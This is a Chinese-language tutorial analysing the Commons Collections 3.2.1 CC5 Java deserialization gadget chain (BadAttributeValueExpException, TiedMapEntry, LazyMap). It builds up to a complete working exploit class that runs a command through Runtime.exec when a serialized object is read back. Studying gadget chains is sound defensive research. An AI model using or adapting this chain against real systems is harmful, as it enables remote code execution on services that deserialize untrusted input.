前言
在JDK 8u71及以后,sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法被官方修改,加固了反序列化流程,不能再直接使用CC1调用LazyMap.get()触发恶意链条,因此需要尝试换个思路来搭建利用链。后半部分还是CC1的LazyMap,前半部分改成其他方式,这也是今天我们要分析的
环境配置
用的还是Commons Collection 3.2.1,修改pom.xml如下
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
过程分析
后半部分
后半部分用的还是CC1的LazyMap,具体可以参考文章Java反序列化 CC1链分析 (LazyMap)
这里我直接拿来用了
1 2 3 4 5 6 7 8 9 10 11
| Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer);
|
咱们写个程序验证一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class Main { public static void main(String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer); decorate.get(1); } }
|
成功弹出计算器

前半部分
首先我们寻找哪里调用了get方法,CC链作者找到TiedMapEntry里的getValue()调用了get方法

继续跟进,我们看看哪里调用了getValue方法,发现该类的toString方法调用了getValue

我们看看TiedMapEntry的构造函数,发现map参数可控,然后key我们随便传个值就可以

接着继续找哪里调用了toString方法,我们alt+F7查找用法

结果比较多,这里我们直接定位到CC链作者找到的BadAttributeValueExpException 类,发现该类的readObject调用了toString方法,同时还是反序列化的入口,满足我们的要求

但是我们看BadAttributeValueExpException的继承类,并没有看到Serializable

不过不用担心,因为BadAttributeValueExpException继承了Exception ,而Exception又继承了Serializable,因此BadAttributeValueExpException间接继承了Serializable,这个问题也就解决了


然后我们看看BadAttributeValueExpException的构造函数,发现如果传入的val不为null,就会对val调用toString方法

如果我们直接通过构造函数传入恶意对象,如TiedMapEntry,那么val.toString()会在构造阶段就被调用,提前触发gadget链,不能等到反序列化时触发,这并不是我们想要的
所以我们先传个null,后面再通过反射把this.val字段改成自定义对象,这样问题就解决了
我们再回到readObject进行分析,可以看到valObj的值是通过val变量获取的,然后继续往下看,当System.getSecurityManager() == null或者val为基本类型时才会触发valObj.toString()

但是我们传入的valObj是TiedMapEntry类型的,这就只能看第一个条件是否满足了,也就是System.getSecurityManager()是否为null
默认情况下,SecurityManager是关闭的,问AI是这样回答的

当然也可以自行验证一下
1 2 3 4 5
| public class Main { public static void main(String[] args) throws Exception { System.out.println(System.getSecurityManager()); } }
|
返回的结果为null

因此这个问题就解决了,根据之前的内容,我们构造核心代码如下
1 2 3 4 5 6
| TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
BadAttributeValueExpException o = new BadAttributeValueExpException(null); Field field = o.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(o, tiedMapEntry);
|
最终利用
综合前面两个部分,我们可以得到完整exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class Main { public static void main(String[] args) throws Exception { Class cs = Runtime.class; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(cs), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); Map decorate = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
BadAttributeValueExpException o = new BadAttributeValueExpException(null); Field field = o.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(o, tiedMapEntry);
serialize(o); unserialize("cc5.ser");
} public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.ser")); oos.writeObject(obj); } public static void unserialize(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|
成功弹出计算器

为了更直观的理解,这里放个CC5的流程图

至此,CC5的利用链分析结束